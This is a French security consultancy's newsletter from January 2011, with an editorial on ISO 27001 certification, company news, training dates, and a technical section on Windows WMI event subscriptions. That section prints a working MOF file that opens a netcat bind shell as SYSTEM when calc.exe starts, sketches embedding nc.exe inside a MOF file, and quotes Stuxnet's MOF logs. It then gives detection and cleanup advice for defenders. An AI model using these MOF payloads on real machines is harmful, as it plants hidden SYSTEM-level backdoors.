[Newsletter HSC] N°77 - Janvier 2011

Newsletter d'information de HSC newsletter at hsc-news.com
Lun 3 Jan 15:41:18 CET 2011


========================================================================
              HSC Newsletter  --  N°077 --  janvier 2011
========================================================================




 « La règle selon laquelle les dossiers secrets ne doivent être composés
   que de nouvelles déjà connues est essentielle à la dynamique des services
   secrets, et pas seulement en ce siècle. »

                                                    [Umberto Eco] [1]
                                             






 [1] http://www.liberation.fr/monde/01012305696-hackers-vengeurs-et-espions-en-diligence


--[ Sommaire ]----------------------------------------------------------

      1. Editorial "L'ISO 27001 n'est pas l'ISO 9001 de la SSI"
      2. Le saviez-vous ? La question
      3. Thomas Seyrat rejoint HSC
      4. HSC présent au Security Day Luxembourg
      5. Offres d'emploi : consultants & stagiaires techniques & orga
      6. Nouveautés du site web HSC
      7. Agenda des interventions publiques
      8. Prochaines formations HSC
      9. Actualité des associations : Club 27001, Clusif et OSSIR
     10. Le saviez-vous ? La réponse



--[ 1. Editorial ]------------------------------------------------------
       Hervé Schauer

 "L'ISO 27001 n'est pas l'ISO 9001 de la SSI, c'était beaucoup mieux"


     Très peu de certifications ISO 27001 en France : 18, beaucoup chez nos
 voisins : plus de 300 en Italie, plus de 500 en Espagne, pour ne citer que
 nos voisins latins. Faut-il en conclure qu'ils sont meilleurs en sécurité ?
 Je ne pense sincèrement pas, car si une certification ISO 27001 a été
 fondamentalement bien conçue, et conçue pour apporter une réelle confiance,
 cet objectif initial n'est malheureusement pas atteint, et parfois bien
 au contraire.
     Les milliers de certificats ISO 27001 de nos voisins ne sont pas des
 certificats de SMSI. Ce sont des certificats de SMQ-SI : Système de Management
 de la Qualité, appliqués à la Sécurité de l'Information.


     En France, les professionnels ont largement été influencés par mon
 collègue Alexandre Fernandez-Toro [2], et ils ont été parmi les rares à
 réellement appliquer la norme ISO 27001, et à ne pas systématiquement la
 galvauder.

     L'ISO 27001 définit une organisation de la SSI basée sur un engagement
 fort et visible de la direction générale, une gestion des risques continue
 et reproductible en sécurité de l'information, imposant un pilotage et un
 suivi rigoureux de la SSI, une réelle gestion des incidents, des mesures de
 sécurité utiles et efficaces, des audits internes et une cohérence
 d'ensemble. Le SMSI est une organisation de la SSI qui fait réellement
 augmenter le niveau de sécurité.
     L'ISO 27006 impose aux organismes de certification des auditeurs
 réellement compétents, qui revérifient l'appréciation des risques, qui
 contrôlent explicitement l'adéquation des mesures de sécurité aux risques
 et la pertinence de la mise en oeuvre de ces mesures.
 L'ISO 27006 s'applique obligatoirement aux organismes de certification et
 ce sont les autorités d'accréditation étatiques qui sont sensées le contrôler.
 Cf http://www.hsc.fr/ressources/presentations/certif27001/

     Ainsi l'ISO 27001 et l'ISO 27006 sont sincèrement conçues pour apporter
 une réelle confiance, une vraie valeur ajoutée. Un SMSI certifié ISO 27001,
 c'est vraiment sérieux.  Il devrait être possible de faire vraiment
 confiance à un prestataire certifié ISO 27001.

     Force est de constater que dans les certifications ISO 27001, de par
 le monde et même parfois en France, les auditeurs sont plutôt des
 qualiticiens, dont parfois aucun n'a la moindre compétence en SSI, voire
 en informatique, contrairement à ce qu'impose formellement l'ISO 27006.
 Quand un auditeur réellement compétent est employé, il est bâillonné par
 l'organisme de certification, injustement limité dans le temps et il ne
 peut pas respecter l'ISO 27006. Il ne sert donc que de faire-valoir.
 Ou quand un auditeur réellement compétent est employé, il est affublé
 d'un collègue ni formé à l'audit, ni certifié auditeur (ISO 9001 ou
 ISO 27001 Lead Auditor), pas du tout qualifié pour être auditeur, et ne
 fait que consommer le temps limité de l'audit.
 Si un qualiticien expert des systèmes de management et un auditeur
 très expérimenté dans l'audit de certification sont indispensables,
 ils ne sont pas suffisants, et c'est écrit dans l'ISO 27006.
     Les organismes de certification et les autorités d'accréditation doivent
 réaliser qu'une certification ISO 27001 n'est pas une certification ISO 9001
 sur la sécurité de l'information. Il y a peu de certificats ISO 27001 en
 France car nos directions générales ont un manque de volonté vis-à-vis de
 la certification de SMSI, car elles interprètent correctement le mot SMSI.
 Nos voisins ont beaucoup de certificats car ils ne font que des SMQ appliqués
 à la sécurité, dans lesquels, par exemple l'appréciation des risques est
 parfois complètement passée à la trappe. Les milliers de certificats de par
 le monde (plus de 12000 en 2009, cf : http://www.iso.org/iso/survey2009.pdf)
 ne correspondent pas à ce que les auteurs des normes ont écrit et ne
 reflètent pas une amélioration de l'organisation de la SSI aussi significative
 qu'attendue.
     Le SMQ-SI, c'est-à-dire le Système de Management de la Qualité appliqué
 à la Sécurité de l'Information, revient à faire le minimum en matière de
 Sécurité de l'Information, et l'enrober dans une coquille Système de
 Management : revue de direction, documentation tape à l'oeil, indicateurs
 peu utiles en sécurité, etc... Et là, nous avons alors l'adhésion de
 directions générales en faveur du SMQ-SI, avec la certification ISO 27001
 sans mise en oeuvre de SSI.

     Le monde de la SSI a besoin de SMSI, des vrais, qui mettent en oeuvre
 de la sécurité, et ainsi des certifications ISO 27001 utiles. Ne faisons
 pas comme les autres pays qui n'ont que des certifications de SMQ-SI.

     Il conviendrait que les organismes de certification respectent les normes,
 et que certains d'entre eux cessent de prendre le monde la sécurité de
 l'information pour des idiots. Il faut également que les autorités
 d'accréditation aient les moyens de commencer à jouer leur rôle de contrôleur.

     Ne soyez pas crédules et faites preuve de rigueur et de discernement,
 comme vous l'a inculqué l'enseignement hexagonal en SSI, et si la
 certification ISO 27001 demeure un pré-requis logique et indispensable à
 toute relation contractuelle, vérifiez qui a audité, et jugez les auditeurs
 de certification comme vous jugeriez tout expert en SSI.


 [2] Consultant en sécurité et auteur du livre "Management de la Sécurité
 de l'Information, Implémentation ISO 27001, Mise en place d'un SMSI et audit
 de certification" publié chez Eyrolles : ISBN : 978-2-212-12622-8



--[ 2. Le saviez-vous ? La question ]-----------------------------------

     Quelle fonctionnalité de Windows permet une exécution automatique de code
 avec élévation de privilèges ?

     Réponse au paragraphe 10.



--[ 3. Thomas Seyrat rejoint HSC ]--------------------------------------

     Afin d'encadrer l'équipe menant les missions de conseil, d'audit, et
 de test d'intrusion dans les prestations techniques en sécurité, Thomas
 Seyrat a rejoint HSC. Il a été auparavant consultant chez HSC de 2001
 à 2006, puis RSSI de la filiale française du groupe d'assurance-crédit
 Euler Hermes (groupe Allianz), puis en 2009 RSSI groupe Euler Hermes et
 membre du comité de rédaction de la politique de sécurité du groupe Allianz.
     Il revient chez HSC pour prendre la responsabilité du pôle technique
 d'HSC, assisté d'Yves Le Provost.

 Pour en savoir plus : http://www.hsc.fr/societe/equipe.html.fr#consultants



--[ 4. HSC présent au Security Day Luxembourg ]-------------------------

     HSC sera présent au Security Day 2011 le mercredi 9 février prochain
 à Luxembourg avec un stand et deux conférences. Le Security Day 2011 est
 organisé par l'ISACA Luxembourg et fait suite au Hacking Day 2010.

     Matthieu Hentzien et Kaouther Naoua seront à votre disposition pour
 vos projets de prestations, de formation et de e-learning. Retrouvez-nous
 sur notre stand durant toute la journée.

     Hervé Schauer a été invité à intervenir à la session d'ouverture :
 "From spontaneous infrastructures to cloud computing security failure"
 Renaud Dubourguais et Jean-Baptiste Aviat feront des démonstrations dans
 leur conférence "Pentests: Exposing Real World Attacks".

 Prix de la journée : 150 euros (75 pour les membres de l'ISACA ou de l'itSMF)

 Programme des conférences :
 http://www.isaca.lu/?q=system/files/Conferences.pdf
 Pour vous inscrire :
 http://www.isaca.lu/?q=system/files/Registration.doc

     Pour en savoir plus http://wwww.isaca.lu/



--[ 5. Offres d'emploi ]------------------------------------------------

     HSC recrute des stagiaires et des consultants techniques et
 organisationnels en sécurité des systèmes d'information.
 Pour les aspects techniques de la sécurité, afin :
     - D'auditer la sécurité d'infrastructures et d'applications variées
     - De procéder à des tests d'intrusion
     - De réaliser des enquêtes et des analyses post-incident
     - Plus généralement de participer aux projets techniques en sécurité
 Pour les aspects organisationnels de la sécurité, afin :
     - D'accompagner aux démarches de gouvernance de la SSI, notamment lors
       de la mise en place de SMSI suivant la norme ISO 27001
     - De réaliser ou d'assister dans la gestion des risques de sécurité de
       l'information
     - D'élaborer des procédures et documents synthétiques et pragmatiques
     - Plus généralement, de participer aux projets utilisant les normes
       de la série ISO27K pour répondre aux attentes des clients.

 Les qualités recherchées sont les suivantes :
     - Bonne qualité de rédaction en français
     - Bon contact humain
     - Maîtrise de l'informatique et des technologies de l'information,
       notamment la technique pour les candidats techniques
       et compréhension des enjeux du pilotage de la SSI par les risques
       pour les candidats organisationnels
     - Discrétion et capacité à travailler sur des projets sensibles, des
       infrastructures vitales, etc
     - Compréhension du modèle économique de l'activité d'expertise

 Les qualités suivantes seront un plus apprécié :
     - Adaptabilité au contexte d'un client
     - Autonomie
     - Bonne expression à l'oral
     - Maîtrise de l'état d'esprit pour la fourniture de services à valeurs
       ajoutées

 Les ingénieurs sélectionnés pourront être formés à la sécurité, aussi bien
 sur normes ISO 27001 et ISO 27005 ou le juridique de la SSI, qu'aux tests
 d'intrusion ou la sécurité Windows et la sécurité des applications web.
 Cela représente 2 à 6 semaines de formations suivies par le candidat.

 HSC recherche également des stagiaires en fin d'étude pour des stages de
 pré-embauche pour des postes de consultants, soit au sein de l'équipe
 technique, soit au sein de l'équipe organisationnelle.

 Tous les postes sont basés à Levallois-Perret (Paris), à 5 minutes de la gare
 Saint-Lazare. Les locaux sont spacieux et climatisés (735 m2).
 Si vous souhaitez proposer votre candidature, nous vous remercions d'envoyer
 votre CV en texte ascii par courrier électronique à cv at hsc.fr.



--[ 6. Nouveautés du site web HSC ]-------------------------------------

 - Outil : "Webef", par Yves Le Provost le 24 décembre. Webef est un outil
   de brute force de fichiers et répertoires d'un serveur web.
   http://www.hsc.fr/ressources/outils/webef/

 - Présentation "La gestion des risques SSI dans les projets ", par Julien
   Levrard, le 25 novembre à l'INSA Rouen
   http://www.hsc.fr/ressources/presentations/jssi-insa-2010/

 - Présentation "Tunnel TCP sur RDP " par Nicolas Collignon, le 14 décembre
   à l'OSSIR Paris
   http://www.hsc.fr/ressources/presentations/ossir_rdp/
   L'outil rdp2tcp, initialement annoncé lors du SSTIC 2010, est publié par
   Nicolas Collignon sur : http://rdp2tcp.sourceforge.net/

 - Outil : "Blueberry", par Nicolas Collignon le 12 décembre 2010
   Blueberry est un outil permetttant de déchiffrer un mot de passe BlackBerry
   Administration Service.
   http://www.hsc.fr/ressources/outils/blueberry/



--[ 7. Agenda des interventions publiques ]-----------------------------

 - 8 février - groupe de travail OSSIR Paris
   "Compte-rendu du CCC 2010" - Benjamin Arnault et Guillaume Lehembre
   http://www.ossir.org/

 - 9 février 2011 - Information Security Day - Luxembourg
   "From spontaneous infrastructures to cloud computing security failure"
   invited keynote speaker - Hervé Schauer
   http://wwww.isaca.lu/

 - 9 février 2011 - Information Security Day - Luxembourg
   "Pentests: Exposing Real World Attacks" - Renaud Dubourguais &
   Jean-Baptiste Aviat
   http://wwww.isaca.lu/

 Retrouvez l'agenda de nos interventions publiques sur
 http://www.hsc.fr/conferences/agenda.html.fr



--[ 8. Prochaines formations HSC ]--------------------------------------

     Nos prochaines formations sont les suivantes :

 - Paris
        ISO 27005 Risk Manager    ..............    : 19 au 21 janvier (#)
        ISO 27001 Lead Implementer    ..........    : 24 au 28 janvier (#)
        Fondamentaux techniques de la SSI    ...    : 3 et 4 février 
        ISO 27001 Lead Auditor    ..............    : 7 au 11 février (#) (C)
        Sécurité Windows    ....................    : 14 et 15 février (*)
        Sécurité Unix et Linux    ..............    : 16 et 17 février (*)
        Sécurité de la VoIP   ..................    : 18 février
        ISO 27001 Lead Implementer    ..........    : 21 au 25 février (#)
        ISO 27005 Risk Manager    ..............    : 2 au 4 mars (#)
        Gestion des identités et des accès    ..    : 7 au 9 mars
        ISO 27001 Lead Auditor    ..............    : 7 au 11 mars (#)
        Essentiel de la série ISO27001    ......    : 14 et 15 mars
        Indicateurs & tableaux de bord SSI/ISO27004 : 16 mars
        Information Security Foundations    ....    : 17 et 18 mars (#)
        Réalisation pratique des Tests d'Intrusion  : 21 au 25 mars (*)
        Sécurité du Cloud Computing    .........    : 21 au 23 mars
        Correspondant Informatique et Libertés      : 28 et 29 mars
        Essentiel de PCI-DSS    ................    : 1 avril
        ISO 27001 Lead Auditor    ..............    : 4 au 8 avril (#)
        ISO 27005 Risk Manager    ..............    : 11 au 13 avril (#)
        ISO 27001 Lead Implementer    ..........    : 18 au 22 avril (#)
        Mutualisation ISO 27001/autres référentiels : 26 avril
        Mesures de sécurité ISO 27002   ........    : 2 et 3 mai
        Sécurité des serveurs et applications web   : 4 au 6 mai (*)
        Formation RSSI    ......................    : 9 au 13 mai
        Sécurité du WiFi    .....................   : 14 et 15 juin (*)

 (*) : formations avec travaux pratiques avec un ordinateur par stagiaire
 (#) : formations certifiantes
 (C) : session de formation complète

 - Luxembourg
        ISO 27001 Lead Implementer    ..........    : 26 au 30 septembre (#)
        ISO 27005 Risk Manager    ..............    : 28 au 30 novembre (#)

 - Bordeaux
        **** Attention nouvelle date ****
        Correspondant Informatique et Libertés      : 28 et 29 avril 2011

 - Clermont-Ferrand
        Correspondant Informatique et Libertés      : 8 et 9 décembre 2011

 - Lille
        Correspondant Informatique et Libertés      : 14 et 15 avril 2011

 - Limoges
        Correspondant Informatique et Libertés      : 17 et 18 octobre 2011

 - Lyon
        Correspondant Informatique et Libertés      : 7 et 8 avril 2011
        ISO 27001 Lead Implementer    ..........    : 6 au 10 juin 2011 (#)

 - Marseille
        Correspondant Informatique et Libertés      : 19 et 20 mai 2011

 - Montpellier
        Correspondant Informatique et Libertés      : 10 et 11 février 2011
        ISO 27005 Risk Manager   ...............    : 14 au 16 mars 2011 (#)
        ISO 27001 Lead Auditor    ..............    : 23 au 27 mai 2011 (#)

 - Nantes
        Correspondant Informatique et Libertés      : 10 et 11 octobre 2011

 - Nice
        Correspondant Informatique et Libertés      : 10 au 11 mars 2011

 - Poitiers
        Correspondant Informatique et Libertés      : 17 et 18 novembre 2011

 - Rennes
        ISO 27005 Risk Manager   ...............    : 28 au 30 mars 2011
        Correspondant Informatique et Libertés      : 16 au 17 juin 

 - Strasbourg
        Correspondant Informatique et Libertés .    : 14 et 15 février 2011

 - Toulouse
        ISO 27001 Lead Implementer    ..........    : 21 au 25 mars 2011 (#)
        ISO 27005 Risk Manager    ..............    : 9 au 11 mai 2011 (#)
        Correspondant Informatique et Libertés .    : 3 et 4 octobre 2011


 (#) : formations certifiantes

 Pour tout renseignement, et pour vous inscrire pour toutes les villes
 contactez Lynda Benchikh : formations at hsc.fr  --  +33 141 409 704

 Retrouvez les tarifs des formations dans la Newsletter n° 64 de janvier 2010
 au chapitre 6 : http://www.hsc-news.com/archives/2010/000064.html

 Vous souhaitez des formations dans votre ville ? Contactez Hervé Schauer,
 HSC est allé donner des formations inter-entreprises à Marseille, Niort,
 Papeete, Rennes, etc à la demande des entreprises locales.

 Retrouvez le détail de nos formations (plan pédagogique, agenda) ainsi que
 notre catalogue en PDF sur http://www.hsc-formation.fr/



--[ 9. Actualité des associations : Club 27001, Clusif et OSSIR ]--------

  o Club 27001 (http://www.club-27001.fr/)
     . Prochaine réunion à Paris en février avec l'assemblée générale du
       Club 27001 sans doute le même jour
     . Prochaine réunion à Toulouse annoncée prochainement
     . Prochaine réunion à Marseille annoncée prochainement
     . Prochaine réunion à Rennes annoncée prochainement
     Inscrivez-vous sur la liste de Toulouse, Marseille, etc. sur
     www.club-27001.fr pour avoir l'activité du Club 27001 en région.

 o Clusif (http://www.clusif.asso.fr/)
     . Panorama de la cybercriminalité 2010 à Paris le mercredi 12 janvier 2011

 o OSSIR (http://www.ossir.org/)
     . JSSI de l'OSSIR le 22 mars 2011
       Appel à communication jusqu'au 10 janvier :
       http://www.ossir.org/jssi/jssi2011/appel-a-communication.shtml
     . Prochaine réunion à Paris mardi 11 janvier
         - Assemblée Générale de l'OSSIR le matin
         - DPI: technologie pour la sécurité et la régulation des réseaux
           par Théodore Martin Martin (Vedicis)
         - Revue d'actualité par Nicolas Ruff (EADS)
     . Réunion suivante à Paris mardi 8 février
         - Compte-rendu du CCC 2010 par Benjamin Arnault et Guillaume
           Lehembre (Hervé Schauer Consultants)
     . Prochaine réunion à Toulouse mardi 18 janvier
     . Prochaine réunion à Rennes annoncée prochainement
     . Prochaine réunion à Lyon annoncée prochainement



--[ 10. Le saviez-vous ? La réponse ]------------------------------------

     WMI (1) fournit la possibilité d'exécuter du code lorsque la notification
 d'un événement se produit (lancement d'un programme, authentification d'un 
 utilisateur, etc.). 

 Rappels concernant WMI
 
 Pour créer des événements, il est nécessaire d'étendre le schéma WMI 
 concernant la description des classes CIM (Common Information Model) et de 
 définir un MOF (Managed Object Format) (2). Un fichier .mof correspond à 
 un fichier texte dans lequel les instances des classes ainsi que des scripts 
 peuvent être présents. Le compilateur mofcomp.exe doit ensuite être utilisé 
 avec les privilèges Administrateur afin que ces définitions soient rajoutées 
 dans la CIM repository.

 Afin de pouvoir exécuter le code voulu, une notification d'événement doit 
 être définie spécifiquement en enregistrant une instance de la classe 
 __EventFilter (event filter), une instance de la classe __EventConsumer 
 (event consumer) et en les reliant ensemble (__FilterToConsumerBinding). 

 Pour simplifier, ceci consiste à dire "Quel événement Windows (__EventFilter) 
 sera délivré au consommateur et exécutera mon script (__EventConsumer) ?".

 Le consommateur peut intégrer toutes sortes de langages existants, toutefois, 
 dans un environnement Windows, le VBScript est un langage de choix pour son 
 universalité sur ces systèmes.

 Plusieurs classes sont prédéfinies dans Windows (3). Celles concernant 
 l'Event Consumer sont au nombre de cinq (4) : ActiveScriptEventConsumer, 
 LogFileEventConsumer, NTEventLogEventConsumer, SMTPEventConsumer, 
 CommandLineEventConsumer. Par exemple, la classe ActiveScriptEventConsumer (5)
 permet notamment d'exécuter un script prédéfini lorsqu'un événement
 particulier est délivré.


 Exemple de script VBScript contenu dans un fichier MOF

 Voici un petit exemple de code MOF qui crée un filtre d'événement sur la 
 calculatrice Windows et crée un consommateur d'événement qui ouvre un 
 port TCP via netcat. Lors du lancement de calc.exe, l'événement attendu 
 se produit, et le consommateur va donc lancer la commande nc pour ouvrir 
 le port TCP/2222 :

#pragma namespace ("\\\\.\\root\\subscription")

instance of __EventFilter as $FILTER
{
    Name = "LOLCAL_SYSTEM";
    EventNamespace = "root\\cimv2";
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 "
      "WHERE TargetInstance ISA \"Win32_Process\" "
      "AND TargetInstance.Name = \"calc.exe\"";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $CONSUMER
{
    Name = "LOLCAL_SYSTEM";
    ScriptingEngine = "VBScript";

    ScriptText =
      "Set objShell = CreateObject(\"WScript.Shell\")\n"
      "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C start C:\\outils\\nc111nt\\nc.exe -L -p 2222 -d -e cmd.exe\"\n";
};

instance of __FilterToConsumerBinding
{
    Consumer = $CONSUMER ;
    Filter = $FILTER ;
};


 Ce fichier .mof doit ensuite être compilé via mofcomp.

 Ce code permet donc ici, dès que la calculatrice Windows est lancée, 
 d'ouvrir le port TCP/2222 sur lequel un shell fonctionne :

C:\hack>netstat -ano | findstr 2222
  TCP    0.0.0.0:2222           0.0.0.0:0              LISTENING       212

 Une connexion telnet sur ce port est ensuite possible :

C:\Documents and Settings\stephane>telnet localhost 2222

Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
BLAH\SYSTEM

 Les privilèges Local System sont ainsi possibles via un simple telnet 
 sur le port ouvert ^^. Le filtre événement créé est par ailleurs permanent, 
 c'est-à-dire qu'il sera toujours présent même après un reboot (6).

 Il est bien sûr possible d'effectuer des scripts beaucoup plus malveillants, 
 tel que lancer notre netcat dès qu'un utilisateur se désauthentifie, et le 
 supprimer dès qu'un utilisateur s'authentifie, ceci afin d'essayer de passer 
 inaperçu.


 Embarquement d'un binaire dans un fichier MOF

 Il est également possible d'embarquer un exécutable directement dans le 
 fichier.mof et d'utiliser les FSO (File System Object) pour copier ce 
 fichier dans un répertoire du système. Ce concept avait notamment été 
 présenté en 2008 (8) en intégrant un binaire sous forme de caractères 
 ASCII :

#pragma namespace ("\\\\.\\root\\subscription")

instance of ActiveScriptEventConsumer as $notepadConsommateur
{
    Name = "notepad";
    ScriptingEngine = "VBScript";
    
    ScriptText =
        "Dim objFS, objFile, file, wshShell\n"
        "dim exploit1\n"

[...]

        "dim exploit549\n"
         
[...]
         
        chr(110) & chr(101) & chr(116) & chr(99) & chr(97) & chr(116) & chr(10) \n"

[...]

       "Dim objFS1, objFile1, file1, wshShell1\n"
       "Dim strCommand1\n"
       "Dim objShell1\n"
       "dim Wscript\n"
       "file = \"C:\\Windows\\System32\\nc.exe\"\n"
       "Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n"
       "Set objFile = objFS.OpenTextFile(file,2,true)\n"
       "objFile.Write exploit1\n"

[...]

       "objFile.Write exploit549\n"
       "objFile.Close\n"
       "Set objShell = CreateObject(\"WScript.Shell\")\n"
       "objShell.Run \"C:\\Windows\\System32\\cmd.exe /C start C:\\Windows\\System32\\nc.exe -l -p 2222 -e cmd.exe\"\n"
};

[...]

Ce script crée le filtre événement $notepadFiltre qui attend que notepad 
soit lancé. Lorsque celui-ci est lancé, le binaire nc.exe est copié dans 
le répertoire C:\Windows\System32\, puis le port TCP 2222 est ouvert avec 
un accès shell en tant que System ou Network Service suivant les versions 
de Windows.


 Compilation automatique de fichiers MOF

 Un autre point important concernant la compilation des fichiers .mof est 
 que celle-ci peut être faite automatiquement lorsque ces fichiers sont 
 placés dans un répertoire particulier. Le code VBScript sera alors exécuté 
 dans le contexte de System sous Windows XP et Windows Server 2003 et dans 
 le contexte de Network Service sous Windows Vista.

 Le répertoire par défaut dans lequel WMI compile automatiquement tous les 
 fichiers MOF qui y sont placés est %SystemRoot%\System32\WBEM\MOF\. Le 
 paramètre MofSelfInstallDirectory de la classe Win32_WMISetting (7) indique 
 ainsi les valeurs suivantes :
 HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM|CIMOM|MOF Self=Install Directory
 Un petit coup d'oeil dans la base de registre permet de vérifier le bon 
 répertoire.

 Tous les fichiers .mof placés dans le répertoire
 %SystemRoot%\System32\Wbem\Mof sont donc automatiquement compilés par WMI.
 Si la compilation ne génère aucune erreur, le fichier .mof est ensuite
 automatiquement placé dans le sous-répertoire "good". Si une erreur se
 produit, le fichier .mof est placé dans le sous-répertoire "bad".


 Exemple avec Stuxnet

 Pour l'exploitation de la vulnérabilite du print spooler (MS10-061,
 CVE-2010-2719) permettant à un utilisateur Guest de déposer des fichiers
 dans le répertoire %SystemRoot%\System32, le vers Stuxnet utilise également
 cette fonctionnalité lors de la seconde phase de l'exploitation. La première
 phase de l'exploitation consistant à déposer deux fichiers sur le serveur
 aux emplacements suivants :
  %SystemRoot%\System32\wbem\mof\sysnullevnt.mof
  %SystemRoot%\System32\winsta.exe

 Le fichier winsta.exe est ici le module principal de Stuxnet, et le fichier 
 sysnullevnt.mof est le fichier MOF qui se compilera automatiquement dans 
 le répertoire. Celui-ci contient le code pour exécuter le fichier winsta.exe 
 lorsque certains événements se produisent, puis il se supprime tout seul.

 Dans le cas de Stuxnet, les événements suivants apparaîssent notamment dans 
 les journaux MOF situés à l'emplacement %SystemRoot%\System32\wbem\log\ :

(...) : ReloadEventFilter in namespace //./root/CIMV2. Object is instance of __EventFilter
{
  Name = "qndfilt";
  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" 
           AND TargetInstance.Name = \"winsta.exe\"";
  QueryLanguage = "WQL";
};

(...) : Deactivating filter 021DCB10
(...) : Deactivating filter 02248CC0
(...) : ReloadConsumer in namespace //./root/CIMV2. Object is instance of ActiveScriptEventConsumer
{
  Name = "qndASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = 
                objfs.GetFile(\"wbem\\\\mof\\\\good\\\\sysnullevnt.mof\");\nf1.Delete(true);} 
                catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"winsta.exe\");\nf2.Delete(true);\n
                var s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");
                s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
};

(...) : ReloadProvider in namespace //./root/CIMV2. Object is instance of __Win32Provider
{
  CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
  Name = "ActiveScriptEventConsumer";
  PerUserInitialization = TRUE;
};

(...) : Prepared resync in namespace //./root/CIMV2
(...) : Removing consumer provider record: //./root/CIMV2 in \\.\Root\cimv2:__Win32Provider.Name="ActiveScriptEventConsumer"


 Pour résumer

 Il est donc possible de créer des instances de classes et de créer un 
 filtre sur des notifications d'événement qui, lorsque ceux-ci se produisent, 
 permettent d'exécuter un programme avec des privilèges élevés.

 La création des instances et des filtres d'événement passe relativement 
 inaperçues, et permet finalement la création de backdoors et de rootkits 
 en utilisant les fonctionnalités de base de Windows. 


 Recommandations

 Le répertoire %SystemRoot%\System32\wbem\mof\ doit donc être 
 particulièrement surveillé par les administrateurs systèmes, analystes 
 forensiques et auditeurs sécurité afin de détecter d'éventuels fichiers 
 .mof incongrus. 

 Par ailleurs, une surveillance des journaux MOF doit être faite. Ceux-ci 
 se trouvent dans le répertoire %SystemRoot%\System32\wbem\log\.

 Les événements WMI doivent également être régulièrement listés afin 
 de découvrir ceux qui pourraient être suspects. Ceci peut être fait 
 par le biais de commandes wmic ou par le biais d'outils graphiques WMI 
 tels que WMI Event Registration (9) :
 http://www.hsc.fr/~milani/WMI_EventFilter.png
 http://www.hsc.fr/~milani/WMI_EventConsumer.png
 http://www.hsc.fr/~milani/netcat_LOLCAL_SYSTEM.png

 L'outil wbemtest.exe peut aussi être utilisé pour lister les classes, 
 les instances et afficher les fichiers MOF. Ceci permet par ailleurs de 
 voir que le créateur de la classe ActiveScriptEventConsumer est le SID 
 1,1,0,0,0,0,0,5,18,0,0,0, soit le compte Local System : 
 http://www.hsc.fr/~milani/WMI_ActiveScriptEventConsumer_CreatorSID.png

 Les commandes wmic suivantes permettent également de lister toutes les 
 instances présentes (filtre d'événement, filtre de consommateur, liaison 
 entre les deux filtres) :

C:\>wmic /namespace:\\root\subscription PATH __EventFilter get /format:list
C:\>wmic /namespace:\\root\subscription PATH __EventConsumer get /format:list
C:\>wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding get /format:list

 La suppression des instances malveillantes peut être faite avec les 
 commandes suivantes :

C:\>wmic /namespace:\\root\subscription PATH__EventConsumer delete
C:\>wmic /namespace:\\root\subscription PATH__EventFilter delete
C:\>wmic /namespace:\\root\subscription PATH__FilterToConsumerBinding delete

 Il convient également de vérifier et changer les permissions sur l'Espace 
 de nom \\root\subscription. L'article de Microsoft explique ceci : 
 http://support.microsoft.com/kb/325353
 L'article Microsoft expliquant comment restreindre l'accès aux Espaces 
 de nom WMI peut également être consulté : 
 http://msdn.microsoft.com/en-us/library/aa826354%28VS.85%29.aspx


 Liens

(1) Brève sur WMI : 
    http://www.hsc.fr/ressources/breves/WMI.html.fr
(2) Managed Object Format (MOF) : 
    http://msdn.microsoft.com/en-us/library/aa823192%28v=vs.85%29.aspx
(3) WMI System Classes :
    http://msdn.microsoft.com/en-us/library/aa394583%28v=vs.85%29.aspx
(4) Monitoring and Responding to Events with Standard Consumers : 
    http://msdn.microsoft.com/en-us/library/aa392395%28v=VS.85%29.aspx
(5) ActiveScriptEventConsumer Class :
    http://msdn.microsoft.com/en-us/library/aa384749%28v=VS.85%29.aspx
(6) Receiving Events Securely : 
    http://msdn.microsoft.com/en-us/library/aa393016%28v=VS.85%29.aspx
(7) Win32_WMISetting : 
    http://msdn.microsoft.com/en-us/library/aa394522%28VS.85%29.aspx
(8) The Moth Trojan : 
    http://archive.hack.lu/2008/Craig_lightning_The%20Moth%20Trojan.pdf
(9) WMI Event Registration : 
    http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314&displaylang=en

     Stéphane Milani



Plus d'informations sur la liste de diffusion newsletter